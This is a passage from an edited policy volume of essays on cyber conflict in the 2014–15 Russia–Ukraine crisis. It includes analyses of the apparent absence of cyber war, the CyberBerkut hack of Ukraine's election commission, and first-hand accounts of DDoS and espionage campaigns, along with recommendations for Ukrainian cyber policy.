It is possible that, in the future, we may learn that there have been such attacks, but that they were simply subtle enough to slip under the radar.
With Stuxnet, Irans centrifuge plant at Natanz was infected for six months, with centrifuges failing at unexpected rates, before Iranian engineers understood why.
Successful cyber attacks could indefinitely be ascribed to incompetent man- agement before a complete picture is understood.
And as for military systems, cred- ible stories of their successful attacks may emerge years later, when people are freer to talk about what happened in the war.
Even with all of that in mind, in the Internet era it has become difficult to keep secrets for long periods of time, and the growing absence of cyber attack evidence is turning into the evidence of absence.
3 Possible Reasons for the Absence of Cyber Conflict So, based on what we know now, why has this kinetic conflict seen so little cyber conflict?
Here are some possible answers to that question.
Ukraine does not have the requisite hackers.
Russian hackers need no introduc- tion.
They work for the state, for cyber crime syndicates, and for themselves as patri- otic hacktivist defenders of Mother Russia.
However, on the Ukrainian side (a much smaller nation to begin with), it is possible that a large percentage of the hacker talent is of Russian descent and may have divided loyalties in this conflict.
That said, 7 Mark Clayton.
Ukraine election narrowly avoided wanton destruction from hackers, Christian Science Monitor, 17 June 2014, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hack- ers-video.
Two major forms of cyber attack have not taken place: on critical infrastructure and on defence systems.
52 many small countries have made large contributions in cyberspace, including Esto- nia, Iceland, Lebanon8 and Israel.
Neither Russia nor Ukraine has valid targets.
This gets closer to the truth.
Although the Soviet Union of 1990 had sophisticated weapons, their long suits were in metallurgy and radio-frequency devices.
When the Soviet Union collapsed, it was significantly behind the West in terms of electronics and software.
In the last five years, there has been a modest recapitalisation in Russia, but close to none in Ukraine.
Since the end of the Cold War, the United States has for the most part maintained its substantial lead over Russia in digitisation and networking.
Thus, US fears about its systems falling prey to hackers are currently not shared by the majority of nation-states, who feel that they are not particularly vulnerable.
How- ever, the truth probably lies somewhere in the middle: for example, no one is buying analogue telecommunications systems anymore, not even in the developing world.
New equipment is digital and networked, not only because it is more powerful, but because it is cheaper over the long run.
Therefore, even in Russia and Ukraine, the level of digitisation is likely high enough to engender real concerns about their soci- eties vulnerability to cyber attack.
Their militaries may be antiquated, but due to the close relationship between the IT of modern civilian and military domains, there is probably still plenty for hackers to target.
There is no need  The Russians already own Ukraine: Much of Ukraines infra- structure  notably the phone system  dates from the Soviet era.
It is logical, there- fore, that the Russians have already wired the phone system for interception and, it would hardly be in their interest to take it down.9 This explanation does not explain anything the Ukrainian side has or has not done, nor does it explain the lack of attacks on other systems such as power, natural gas distribution or finance.
How- ever, it may help to understand a lack of attacks on telecommunications, given that a cyber attack could disrupt a lucrative cyber espionage operation by alerting defend- ers that their systems have been penetrated and forcing a system scrub.
Such action may not only knock out existing implants but also make the reinsertion of malware more difficult.
The effects of cyber attack tend to be short term, while stealthy cyber exploitation can persist for years.
Therefore, for strategic purposes, attacks such as Denial-of-Service (DoS) can be counterproductive.
Well-designed technologies like Skype, however, which have end-to-end encryption, could lessen the value of cyber espionage over time (but not by much, because encryption does not protect if com- puters on one or both ends of the conversation are compromised), and increase the likelihood of denial-of-service attacks.
Neither Russia nor Ukraine wants such an escalation: In theory, the Rus- so-Ukrainian conflict is not a war between two states, but an insurgency and count- 8 Kelly Jackson Higgins.
Lebanon Believed behind Newly Uncovered Cyber Espionage Operation, Information Week, 31 March 2015, http://www.darkreading.com/attacks-breaches/lebanon-believed-behind-newly-uncovered-cyber-espionage-opera- tion/d/d-id/1319695.
9 Jeffrey Carr, quoted in Patrick Tucker.
Why Ukraine Has Already Lost The Cyberwar, Too, Defence One, 28 April 2014, http:// www.defenseone.com/technology/2014/04/why-ukraine-has-already-lost-cyberwar-too/83350/.
53 er-insurgency campaign over territory in eastern Ukraine.
According to the Russian Government, Russian forces are not even in the fight, and thus far, neither countrys infrastructure (outside the battle zone) has been touched.
In this context, if Russia were to attack Ukraines infrastructure or vice versa it would be hard to ascribe the attack to separatists, who likely would not possess the requisite advanced hacker skills among their patriotic hacker ranks.
Organised crime syndicates may have the technical expertise, but may lack the trust or the intelligence-informed approach required.
Still, given that both of these groups enjoy some state protection in Russia, such an operation is not out of the question.
The more important point here is that any such escalation could change the narrative of the conflict from an inter-eth- nic squabble to an interstate war.
An obvious attack by Russia against Ukraines infrastructure may conflict with its current political narrative.
A Ukrainian attack against Russia could be a warning signal to Moscow that it will have to pay a price for its actions (a sporty move indeed), as well as a sign that it cannot do better in a conventional fight with the Russian military.
A wild card here is that cyber war techniques in 2015 may be viewed in and of themselves as unduly escalatory, but this fear likely does not apply to cyber attacks precisely focused on enemy military targets in theatre where their use ought to seem no more alarming than the use of, say, electronic warfare.
Finally, it is important to remember that two nuclear states may easily prefer fighting without resorting to nuclear weapons in cyber warfare, many analysts have noted that any two sides are likely riddled with exploitable vul- nerabilities.10 Cyber war is not a silver bullet.
Proponents of cyber war argue that attacks are cheap, asymmetric, effective, and risk-free.
But what if they are wrong?
A truly suc- cessful cyber attack  one that does more than simply annoy defenders  is harder than it looks.
Penetrating systems without getting caught requires technical exper- tise that is in short supply.
Preopera- tional reconnaissance and intelligence gathering of the kind required to cre- ate politically interesting effects such as against national critical infrastructure, or to target military defence systems takes a long time and may not produce practical results.
In 2015, it is also pos- sible that neither Russian nor Ukrainian systems are sufficiently wired to allow for easy access and manipulation.
Human-in-the-loop safeguards, for example, may prevent truly serious damage from occurring except on rare occasions.
Both crit- 10 The Russians and Ukrainians have some of the best computer people in the world, because of the Soviet legacy military indus- trial complex, says Taras Kuzio, a Ukraine expert at the School of Advanced International Studies at Johns Hopkins University.
These [Ukrainian] guys are fantastic.
So if the Russians tried something like a cyberattack, they would get it right back.
There would be some patriotic hackers in Ukraine saying, Just who are the Russians to do this to us?
from Mark Clayton.
Where are the cyberattacks?
Russias curious forbearance in Ukraine, Christian Science Monitor, 3 March 2014, http://www.csmonitor.
com/World/Security-Watch/2014/0303/Where-are-the-cyberattacks-Russia-s-curious-forbearance-in-Ukraine.-video.
A truly successful cyber attack that does more than simply annoy defenders  is harder than it looks.
ical infrastructure and combat systems are designed to operate under a great deal of stress and unexpected events.
Some states may already have calculated that the effects of cyber war are limited, temporary, and hard to repeat.
Attackers also fear that digital weapons may work only once before defenders can plug the necessary holes.
In this light, is developing a cyber war arsenal really worth it?
4 Conclusion In 1972, when Chinese Premier Zhou Enlai was asked about the significance of the French Revolution of 1789, he famously said, It is too soon to say.11 With that logic in mind, it must be noted that the Internet is still a baby, and that cyber attacks are still in a nascent stage.
Despite the prevailing 25 May 2015 ceasefire, the Russo-Ukrainian conflict is not over.
Currently, it could be that neither side wants to escalate this somewhat localised conflict into the realm of interstate war, and this may inhibit operations otherwise warranted in less opaque circumstances.
Both parties to the conflict are still exploring their best options, and both are surely upgrading their traditional and digital military arsenals.
Finally, it is hard to say what current cyber operations may come to light in the future.
However, in mid- 2015, the preponderance of evidence suggests that the easy assumption that cyber attacks would unquestionably be used in modern warfare has come up wanting.
11 Alas, one of the greatest quotes in international relations of the 20th century may have been misunderstood, as Chou was actually referring to French protests of 1968.
However, a diplomat present at the time said Chous comment was too delicious to invite correction.
Dean Nicholas Zhou Enlais Famous Saying Debunked, History Today, 15 June 2011, http://www.history- today.com/blog/news-blog/dean-nicholas/zhou-enlais-famous-saying-debunked.
http://www.historytoday.com/blog/news-blog/dean-nicholas/zhou-enlais-famous-saying-debunked http://www.historytoday.com/blog/news-blog/dean-nicholas/zhou-enlais-famous-saying-debunked 55 Revolution Hacking Nikolay Koval CyS Centrum LLC 1 Introduction: Cyber Conflict in Ukraine During Ukraines revolution in 2014, I served our country as the chief of its Com- puter Emergency Response Team (CERT-UA).1 During my tenure, we responded to a wide variety of network security incidents.
I can say with great confidence that the number and severity of cyber attacks against Ukraine rose in parallel with ongoing political events.
Before the revolution, Ukraine experienced a fairly typical array of incidents, the most frequent of which were botnet-driven2 Distributed Denial of Service (DDoS) attacks.
Often, these came in retaliation for unpopular gov- ernment initiatives, such as when the authorities tried to shut down the file-sharing website www.ex.ua.
By the end of 2012, some of the publics frustration was channelled into politically motivated web- site defacements (i.e.
digital graffiti) within the governments Internet Protocol (IP) space.
In 2013, we began to discover a much more serious class of malware.
Network vandalism had given way to a surge in cyber espionage, for which commercial cyber security companies developed a list of colourful names: RedOctober, MiniDuke, NetTraveler, and many more.
1 CERT-UA lies within the State Service for Special Communications and Information Protection of Ukraine.
2 In other words, the botnets were large enough that no other amplification was needed.
Chapter 6 The number and severity of cyber attacks against Ukraine rose in parallel with ongoing political events.
http://www.ex.ua 56 Once the revolution began in February 2014, even ordinary Ukrainians became familiar with the combination of hacking and political activism, or hacktivism, in which the attackers seek to wage psychological war via the internet.
Although many people were exhausted by the momentous political events that had shaken our country, it was hard to ignore the publication of allegedly leaked Ukrainian government documents detailing a secret, fascist government agenda.
The most prominent hacktivist group was CyberBerkut,3 and it is their most famous attack which is detailed below.
In the course of so many incident responses we learned that, with sufficient evi- dence, it is usually possible to understand the general nature of an attack, including who the attackers might be and what they were seeking.
Timing, context, victim identity, and malware sophistication are good indicators.
Cutting-edge spyware is likely to be found on the computers of senior government officials or on important network nodes within national critical infrastructure.
For example, in one case, we wondered why a private sector executive had been hit, and then discovered that he had previously been a high-ranking government official.
In my opinion, CERT-UA  in collaboration with network security firms such as Kaspersky Lab, Symantec, ESET, and others  was usually able to detect, isolate, and eliminate serious threats to network security in Ukraine.
However, in the course of our work, we also discovered another problem that any enterprise today should seek to address: a fundamental lack of user understand- ing of cyber security.
At every institution, therefore, we tried to carry out a malware literacy campaign to teach employees how infections begin and how attackers can subsequently control their computers to steal documents, all via a tiny, unautho- rised program that can be maddeningly difficult to find.
2 Case Study: Hacking a Presidential Election The most sensational hacktivist attack took place during Ukraines presidential elec- tions.
On 21 May 2014, CyberBerkut compromised the Central Election Commis- sion (CEC), disabling core CEC network nodes and numerous components of the election system.
For nearly 20 hours, the software, which was designed to display real-time updates in the vote count, did not work properly.
On 25 May  election day  12 minutes before the polls closed (19:48 EET), the attackers posted on the CEC website a picture of Ukrainian Right Sector leader Dmitry Yarosh, incorrectly claiming that he had won the election.
This image was immediately shown on Rus- sian TV channels.
It is important to note here that this attack could in no way have determined the outcome of the election.
In Ukraine, every citizen inks his or her vote on a real paper 3 For background on this hacker group, see Wikipedia entry CyberBerkut, https://en.wikipedia.org/wiki/CyberBerkut.
https://en.wikipedia.org/wiki/CyberBerkut 57 ballot, and all votes are manually verified.
Each polling station in every corner of the country physically delivers its ballots to CEC headquarters in Kyiv for aggregation, reconciliation, and determination of the final tally.
CECs information technology (IT) infrastructure is a complex, geographically distributed system designed for fault tolerance and transparency.
Polling stations have an anti-fraud design that allows monitors to detect anomalies such as dramatically swinging vote counts and report them to the appropriate authorities.
Any serious disruption during an elec- tion would generate immediate suspicion about its legitimacy, and spark a desire for a new election.
That said, I believe that we should not underestimate the ability of hackers especially those that enjoy state sponsorship  to disrupt the political process of a nation.
If CECs network had not been restored by 25 May, the country would sim- ply have been unable to follow the vote count in real-time.
However, to what extent would that have caused citizens to question the integrity of the entire process?
It is hard to know.
CEC was not the only election-related site compromised.
There were many oth- ers, including some that were only tangentially related to Ukrainian politics when, for example, the word election had unfortunately appeared somewhere on the site.
But even when attacks against low-level sites were unsophisticated, and the sites basically continued to function, the attackers still got the press attention they sought.
The technical aspects of this hack also tell us something very important: the hackers were professionals.
Beyond dis- abling the site and successfully display- ing incorrect election results, CERT-UA discovered advanced cyber espionage malware on the CEC network (Sofacy/ APT28/Sednit).
These two aspects of the attack  disruption and espionage  may seem contradictory, but in fact they are quite complementary.
Hackers must first conduct in-depth reconnaissance of a tar- get prior to any serious attack.
To bolster its technical credentials as an elite hacker group, CyberBerkut claimed to have discovered and exploited a zero-day vulnerability in CECs Cisco ASA soft- ware.
In my opinion, it is highly unlikely that a non-state hacker group would pos- sess such a high level of technical expertise.
If CyberBerkut really did exploit a zero- day, the group is likely supported by a nation-state.
During my tenure as chief of CERT-UA, the CEC compromise was probably the most technically advanced cyber attack we investigated.
It was well planned, highly targeted, and had some (albeit limited) real-world impact.
Preparation for such an attack does not happen overnight based on our analysis of Internet Protocol (IP) activity, the attackers began their reconnaissance in mid-March 2014  more than two months prior to the election.
Neither does the level of required expertise sug- The technical aspects of this hack also tell us something very important: the hackers were professionals.
gest that this was the work of amateurs at a minimum, the hackers had gained administrator-level access to CECs network.
3 Conclusion: What Is to Be Done?
Ukraine today faces cyber security challenges on at least two fronts.
First, there are technical attacks against a wide range of network infrastructure, including individ- ual websites and whole Internet Service Providers (ISPs).
These encompass every- thing from preoperational reconnaissance to social engineering against the targets employees.
Second, there is an ongoing, content-driven information war within the online media space designed to influence and deceive the public.
More serious threats lie over the horizon.
In recent incident response activities we have discovered samples of the most advanced forms of malware, including BlackEnergy2/SandWorm, Potao, Turla/Urobros, and more.
In the face of these threats, Ukraine is currently unprepared.
At the strategic level, our senior officials are preoccupied with more pressing concerns.
At the tactical level, our law enforcement agencies still fail to grasp the basic connection between email attachments, remote administrative software, and cyber espionage.
Today, there is no unified mechanism to monitor Ukraines network space, which hinders our ability to detect cases of unauthorised access in a timely fashion.
It is time for the government of Ukraine to pay greater attention to cyber security.
Given our current national secu- rity crisis, this will not be easy.
However, in spite of the challenging environment, many positive developments are taking place in Ukraine, such as the recent transformation of Kyivs metropolitan police force.4 A similar breakthrough can take place in our cyber security domain, but it must begin with the allocation of funds to hire and retain the right personnel through competitive salaries and more attractive working conditions.
4 Laura Mills.
In Ukraines Capital, a New Show of Force, The Wall Street Journal, 6 August 2015, http://www.wsj.com/articles/ in-ukraines-capital-a-new-show-of-force-1438903782.
It is time for the govern- ment of Ukraine to pay attention to cyber security.
http://www.wsj.com/articles/in-ukraines-capital-a-new-show-of-force-1438903782 http://www.wsj.com/articles/in-ukraines-capital-a-new-show-of-force-1438903782 59 Cyber Operations at Maidan: A First-Hand Account Glib Pakharenko ISACA Kyiv 1 Introduction: Cyber Conflict in Ukraine I would like to tell the story of what I experienced in Ukraine from the autumn of 2013 until the end of 2014.
In this chapter, I will describe the nature and impact of numerous cyber attacks that took place during our revolution and the subsequent conflict between Ukraine and Russia.
As background, it is important to understand the strategic value of Ukraine to Russia.
Ukraine is the largest country in Europe, with over 42 million citizens and 27 administrative divisions.
In the past, its rich farmland and industrial base have been coveted by Russia, Turkey, Poland, and even by Nazi Germany.
Ukraine has also made significant contributions in politics the Ukrainian Cossacks created the first constitution in contemporary European history.
Following the horrors of World War II, the country continued to suffer under Soviet rule until it regained its independence in 1991.
Despite that, Russia has never really let go of Ukraine.
Ukraine has had internet connectivity since 1990.
As everywhere else in the world, it has also had its share of cyber attacks.
The majority of these have come in the form of Distributed Denial-of-Service (DDoS) incidents against politically or economically targeted websites.
During election seasons, for example, hackers have frequently gone after the websites of political parties.
In terms of cyber crime, Ukraine has long been home to carding, mobile operator fraud, spam factories, cyberlockers, pirated software, unauthorized bank transfers, and various attacks on rival businesses.
Chapter 7 60 Responsibility for the enforcement of internet security in Ukraine belongs to the Ministry of Internal Affairs (MVS) and the Security Service of Ukraine (SBU).1 Cyber security regulations are overseen by the State Service of Special Communication and Information Protection (SSSCIP),2 but the ultimate responsibility for cyber crimes has never made explicit, and in this regard there has been competition between the MVS and SBU.
Ukraines Computer Emergency Response Team was created in 2007.
National cyber security legislation is still in its nascent stages.
Many of our cur- rent laws date from the Soviet era, and need to be updated for the information age.
The national critical infrastructure domain is still largely unregulated.
Definitions related to cyber security and information security are unclear, as is the distinction between them.
Historically, the Ukrainian police have investigated straightforward cases related to illegal content, online gambling, and pornography.
Their number of qualified personnel trained in cyber security was low, with little competency in computer or network forensics.
Therefore, their most common tactic was simply to confiscate all IT equipment.
Given these circumstances, Ukraine is currently ill-prepared to combat advanced, nation-state level cyber attacks.
In the future, its specialists would like to see the arrival of more non-governmental organisation (NGO) support from the European Union and United States, with a view to implementing modern best practices and internationally recognised standards.
2 The Impact of Euromaidan The Revolution of Dignity in Ukraine began in late 2013 when citizens took to the streets to vent their fury at the decision of then-President Viktor Yanukovych not to sign an agreement of political association with the European Union (EU).
This political movement became known as Euromaidan  the Ukrainian word Maidan means square in English, and refers to the main square in the capital city, Kyiv.
On November 30, mobile phone communications were systematically shut down through mobile operators, and armed police units physically attacked the protesters.
However, the population was undeterred, and by December 2, more than 500,000 people crowded into Maidan.
The sitting government made several more attempts to clear the city, using gas grenades and plastic bullets, and the author personally suffered a long-term injury from exposure to tear gas.
The crackdown eventually led to the use of lethal force,3 likely killing well over 100 protestors.4 1 The SBU is a former constituent part to the Soviet KGB, and is still coming to terms with its legacy ideology and post-Soviet corruption.
2 The SSSCIP was a former constituent part of SBU and has since had a conflicting relationship with its former parent over its role in the information security arena.
3 The author believes that Russian Security Services took part in these killings.
4 List of people killed during Euromaidan, Wikipedia, https://en.wikipedia.org/wiki/List_of_people_killed_during_Euro- maidan.
https://en.wikipedia.org/wiki/List_of_people_killed_during_Euromaidan https://en.wikipedia.org/wiki/List_of_people_killed_during_Euromaidan 61 The cyber attacks began on 2 December 2013 when it was clear that protest- ers were not going to leave Maidan.
Opposition websites were targeted by DDoS attacks, the majority of which came from commercial botnets employing Black- Energy and Dirt Jumper malware.
Police confiscated mobile phones to acquire the protestors web, email, social media, and financial activities.
In one case, pornographic images were uploaded to a protestors social media account, and were later used to prosecute him.
Police seized comput- ers from the opposition partys premises, and according to one city official, the lighting in city hall (which had been a base of opposition activity) was switched off remotely, via the internet.
Opposition activists also conducted cyber attacks against the Ukrainian Gov- ernment, using tools such as the Low Orbit Ion Cannon (LOIC) to launch DDoS attacks on the Presidents website.
When one group of protestors entered the Minis- try of Energy, the organisation sounded a red alert at Ukrainian nuclear facilities, due to the fact that the national electricity grid is remotely controlled via the inter- net from headquarters.
During this period of intense cyber attacks in Ukraine, cyber criminal organi- sations proactively reduced their use of the Ukrainian Internet Protocol (IP) space, rerouting their malware communications through Internet Service Providers (ISP) in Belarus and Cyprus, which meant that, for the first time in years, Ukraine was not listed among the leading national purveyors of cyber crime.5 The largest and most sophisticated attacks coincided with the lethal shooting of protestors in Maidan (February 18-20, 2014).
The mobile phones of opposition par- liament members were flooded with SMS messaging and telephone calls in an effort to prevent them from communicating and coordinating defences.
One precision attack (which targeted the protesters on only one street in Kyiv) entailed spamming the IMSI catcher device on mobile phones with fake SMS messages, threatening the recipient with prosecution for participation in the protest.6 In western Ukraine, the Government turned off the main opposition TV chan- nel, and when protesters decided to enter police departments, those facilities were disconnected from the Public Switched Telephone Network (PSTN) and internet.
Despite all of these police actions, the now-radicalised protesters were unbowed, and continued their revolutionary campaign.
Therefore, on February 22, 2014, Ukrainian President Yanukovich fled to Russia, and a new and reformist govern- ment was established in Kyiv.
5 HostExploit analysis, http://hostexploit.com/.
6 This tactic has also been used by Russian military units in eastern Ukraine.
The cyber attacks began on 2 December 2013 when it was clear that protesters were not going to leave Maidan.
http://hostexploit.com/ 62 3 Crimea and Donbass By the end of April 2014, the Russian Government had responded to these events by occupying and annexing the Ukrainian peninsula of Crimea, as well as military intervention in eastern Ukraine, where hostilities continue to this day.
From the start of its Crimean operation, the Russian army moved to gain con- trol of the peninsulas telecommunications infrastructure, severing cables and rout- ing calls through Russian mobile operators.
Ukrainian media companies lost their physical assets in Crimea, and local television programming shifted from Ukrainian to Russian channels.
With physical access to its control infrastructure, Russia also commandeered the Ukrainian national satellite platform Lybid.
In Kyiv, as soon as the Russian military occupied Crimea, the inter- nal security staff of one of Ukraines largest mobile operators immedi- ately demanded the severing of com- munications links between Ukraine and the occupied territory.
However, its pro-Russian management refused, and maintained unrestricted connectivity as long as possible, likely so that Russian secu- rity services could retain access to its internal systems, for intelligence gathering and other information operations.
Ukrainian mobile operators saw an increase in the volume of cyber crime ema- nating from Crimea, and it is likely that Russian security services acquired intelli- gence from information collected in this way.
Pro-Russia media, discussion forums, and social network groups were active in propaganda dissemination.
The Crimea campaign was even buttressed by mass changes in Wikipedia, where Russian propaganda teams altered articles related to the events taking place there.
Today in Crimea, Russian authorities have implemented content filtering for internet access, including the censorship of Ukrainian news sites.
In November 2014, Russia announced it would create a cyber warfare-specific military unit in Crimea.
Pro-Ukrainian hackers have attacked Crimean websites during the occupation, such as that of the Crimean Parliament7 and a site linking to public web cameras.8 They have also released allegedly official Russian documents related to the conflict which were claimed to be stolen from Russian government servers.9 As the conflict shifted to Donbass, cyberspace played an increasingly import- ant role in military operations.
Physical attacks destroyed cabling, broadcast infra- 7 Vulnerabilities in www.rada.crimea.ua,12 March 2014, Websecurity http://websecurity.com.ua/7041/.
8 Ukrainian Cyber Army: video intelligence, Websecurity April 23, 2015, http://websecurity.com.ua/7717/.
9 Aric Toler.
Russian Official Account of Attack on Ukraine Border Guards, bellingcat, 30 May 2015 https://www.bellingcat.
com/news/uk-and-europe/2015/05/30/russian-official-account-of-attack-on-ukraine-border-guards/.
From the start of its Crimean operation, the Russian army moved to gain control of tele- communications infrastructure.
http://www.rada.crimea.ua,12 http://websecurity.com.ua/7041/ http://websecurity.com.ua/7717/ https://www.bellingcat.com/news/uk-and-europe/2015/05/30/russian-official-account-of-attack-on-ukraine-border-guards/ https://www.bellingcat.com/news/uk-and-europe/2015/05/30/russian-official-account-of-attack-on-ukraine-border-guards/ 63 structure, and ATM networks, and this served to isolate the region from Ukrainian media, communications, and financial services.10 Military operations were coordi- nated with propaganda disseminated on Russian TV channels and internet-based media.
Finally, the occupation army performs regular forensics checks on comput- ers and mobile devices owned by the population in eastern Ukraine.
Russian signals intelligence (SIGINT), including cyber espionage, has allowed for very effective combat operations planning against the Ukrainian army.
Artil- lery fire can be adjusted based on location data gleaned from mobile phones and Wi-Fi networks.11 GPS signals can also be used to jam aerial drones.
Ukrainian mobile traffic can be rerouted through Russian GSM infrastructure via a GSM signalling level (SS7) attack12 in one case, this was accomplished through malicious VLR/HLR updates that were not properly filtered.
Russian Security Services also use the internet to recruit mercenaries.
Generally speaking, the computer systems and mobile communications of Ukrainian government, military, and critical infrastructure are under permanent attack, and their communications are routinely intercepted and analysed for infor- mation of intelligence value.
There are also many attacks on Ukrainian businesses: examples include the Ukrainian Railway Company, Kievstar mobile operator,13 a SMART-TV retail shop,14 and a city billboard.15 4 Cyber Tactics Cyberspace is a complex domain.
In the Ukraine conflict, we have seen many dif- ferent types of actors, tools, and tactics.
Hacktivists have used the Low Orbit Ion Cannon criminals have used malware like Blackenergy and DirtJumper.
But with cyber attacks, attribution and motive are not always clear, and the level of decep- tion is high.
The pro-Russia hacker groups Cyberberkut and Cyber-riot Novoris- sia have conducted DDoS attacks and released stolen email and office documents from Ukrainian officials.
Russian media, parliament members, and pro-Russian 10 Some attacks against telecom infrastructure took place in Kyiv as well.
11 In the area of ATO proposes to ban military use mobile phones,  , 12 May 2015 http://golosukraine.com/publi- cation/zakonoproekti/parent/41516-u-zoni-ato-proponuyut-zaboroniti-vijskovim-koristu/.VYbMdnWlyko.
12 How the Russians attacked Ukrainian mobile operators, Delo.ua, 26 May 2014, http://delo.ua/tech/kak-rossijane-atakova- li-ukrainskih-mobilnyh-operatorov-237125/.
13 Kyivstar is owned and controlled by Russian business, so this attack may be from a non-Russian actor.
14 The TVs firmware was compromised, after which the TV began to display channels from of pro-Russian, separatist eastern Ukraine.
15 The billboard then displayed pro-Russian messages.
Russian signals intelligence (SIGINT) has allowed for effec- tive combat operations against the Ukrainian army.
http://golosukraine.com/publication/zakonoproekti/parent/41516-u-zoni-ato-proponuyut-zaboroniti-vijskovim-koristu/.VYbMdnWlyko http://golosukraine.com/publication/zakonoproekti/parent/41516-u-zoni-ato-proponuyut-zaboroniti-vijskovim-koristu/.VYbMdnWlyko http://delo.ua/tech/kak-rossijane-atakovali-ukrainskih-mobilnyh-operatorov-237125/ http://delo.ua/tech/kak-rossijane-atakovali-ukrainskih-mobilnyh-operatorov-237125/ 64 Ukrainian politicians often mention these groups by name, but true attribution is difficult.
For example, spam is used to deliver news about their operations.16 For DDoS, various types of network flooding have been used against web and DNS servers from spoofed source IPs.17 Sometimes, the attacks overwhelmed inter- net channel bandwidth at other times, they affected the capability of an internet router to process packets.
The offending bots were located all over the world, but when Ukrainian ISPs began to filter traf- fic based on national IP ranges, the point of attack simply shifted to Ukrainian bots, which served to defeat this protection measure.
During the revolution in Ukraine, DDoS attacks lasted up to weeks at a time, which had never been seen before.
Cloud DDoS protection services provided some relief, but the attackers could usually find some worthwhile computer to shut down, such as when they blocked updates to an online media portal.
Over time, computer security companies have improved their ability to place malware into families and attacks into campaigns.
To some degree, this helps to provide attribution, especially when some sophisticated, persistent campaigns can only be the work of nation-state actors  for reasons of mission focus, cost, and the overall level of operational effort required.
Researchers believe, for example, that the Ouroboros/Snake malware family, which avoided detection for 8 years and actively targeted the Ukrainian Govern- ment, has Russian origins.18 With enough data, it is possible to see large cyber espi- onage campaigns that encompass many different types of targets it is also possible to see that they generally work within a particular time zone, such as Moscow.19 One possible Russia-based campaign against Ukraine (and other nations), called Sandworm, exploits advanced zero-day vulnerabilities and targets national critical infrastructure.20 Finally, in Operation Armageddon, researchers believe that they tied malware activity to ongoing Russian military operations in Ukraine.21 16 Even the pro-Russian NGO Mothers of Soldiers, which fights the mobilization efforts of the Ukrainian army, uses spam to distribute information.
17 The breadth of the attacks included IPv6-IPv4 to bypass DDoS filters, NTP amplification, slow HTTP POST packets against vulnerable Apache servers, DAVOSET, and SSL renegotiation against misconfigured web servers.
The maximum volume I am aware of was 30 Gbt/s.
18 David E. Sanger and Steven Erlangermarch, Suspicion Falls on Russia as Snake Cyberattacks Target Ukraines Government, New York Times, 8 March 2014, http://www.nytimes.com/2014/03/09/world/europe/suspicion-falls-on-russia-as-snake-cyber- attacks-target-ukraines-government.html?_r0.
19 APT28: A Window into Russias Cyber Espionage Operations?
FireEye, 27 October 2014, https://www.fireeye.com/blog/ threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html.
20 Stephen Ward.
iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign, iSIGHT Partners, 14 October, 2014, http://www.isightpartners.com/2014/10/cve-2014-4114/.
21 Robert Hackett.
Russian cyberwar advances military interests in Ukraine, report says Fortune, 29 April 2015, http://fortune.
com/2015/04/29/russian-cyberwar-ukraine/.
DDoS attacks lasted up to weeks at a time, which had never been seen before.
http://www.nytimes.com/2014/03/09/world/europe/suspicion-falls-on-russia-as-snake-cyberattacks-target-ukraines-government.html?_r0 http://www.nytimes.com/2014/03/09/world/europe/suspicion-falls-on-russia-as-snake-cyberattacks-target-ukraines-government.html?_r0 https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html http://www.isightpartners.com/2014/10/cve-2014-4114/ http://fortune.com/2015/04/29/russian-cyberwar-ukraine/ http://fortune.com/2015/04/29/russian-cyberwar-ukraine/ 65 5 Conclusion and Recommendations Ukraine is vulnerable to Russia, both in traditional geopolitical space and in cyber- space.
In 2015, Ukrainians are still dependent on Russian web resources, including social media (Vkontakte), email (Mail.ru), search engines (Yandex), antivirus soft- ware (Kaspersky), and much more.
Our IT supply chain acquires hardware that is either produced in Russia or travels through Russia  this creates vulnerabilities out of the box, and facilitates future attacks.
Whereas Russia is a world leader in cyber espionage and attack, Ukraines secu- rity services are new and inexperienced.
In the current conflict with Russia, the only option available to Ukraine is simply a self-inflicted denial-of-service: block access to pro-Russian sites, remove access to Russian TV channels, limit the use of Russian hardware and software, ban mobile phone and social network usage for Ukrainian soldiers, and sever network access with occupied eastern Ukraine.
In the future, Ukraine must modernise its cyber security legislation.
One critical aspect of that process will be transparency: it must publish proposed and new laws on government websites so that they are easy to read and understand.
In the past, even the few websites available were often knocked offline by hackers.
There have been many lessons learned.
Here are some of the authors personal recommendations to the Ukrainian Government: Clear Ukrainian IP space of botnets and misconfigured servers (NTP, DNS, etc.)
that facilitate cyber attacks Remove illegal and pirated software from critical infrastructure and public agencies Reduce Ukraines IT dependency in the context of crisis scenarios Implement continuity standards for media and telecoms in conflict zones Create mechanisms to reliably deliver messages from the government to its citizens in occupied territories Incorporate anti-DDoS solutions into Internet-facing services Ensure multiple, independent routes for internet traffic between Ukraine and the rest of the world Implement effective filtering mechanisms on national traffic exchange points Develop a culture of continuous cyber attack monitoring, investiga- tion, information sharing, and research Develop strong cyber security and cryptography capabilities across Ukraine Implement effective civil society controls over unauthorised intercep- tion and collection of data Improve emergency data erasure and disaster recovery capabilities Provide resources to military and security services to effectively con- duct large-scale cyber operations and computer forensics during their missions and Ensure supply chain security for IT services coming from Russia.
Finally, the world should not underestimate Russia, which is seeking to re-es- tablish its former empire, to include Ukraine and other parts of the defunct Soviet Union and Warsaw Pact.
In the context of its wide-ranging political and military campaigns, Russia has developed a cyber attack capability that can target national critical infrastructures, via the internet, anywhere in the world.
67 Beyond Cyber War: Russias Use of Strategic Cyber Espionage and Information Operations in Ukraine Jen Weedon FireEye 1 Introduction Cyber attacks and cyber war are all too often characterised as independent phe- nomena limited to the cyber domain, somehow distinct from the broader dynamics that define a conflict.
An analysis of cyber conflict thus far suggests that such a per- ceived dichotomy is both inaccurate and unwise.
Targeted internet-based assaults cannot be divorced from their underlying geopolitical contexts, and there is small likelihood that a cyber war will ever take place that is limited only to the cyber domain.
On the contrary, governments have been shown to use cyber tools and tactics as a broad instrument of statecraft, a tool for coercion, and a complement to kinetic forces in conflict scenarios.
Moscows strategy in Ukraine has included a substantial investment in espionage and information operations, relying on the success of integrated cyber operations and computer network exploitation in particular.
Russian cyber activities have included cyber espio- nage, prepping the battlefield, selective telegraphing of capabilities, and some hints at destructive activity.
Together, these operations have no doubt inexorably contrib- uted to Moscows advantages over Kyiv, both on the ground and in shaping the con- Chapter 8 Moscows strategy in Ukraine has included a substantial investment in information operations.
68 flicts narrative in the public arena.
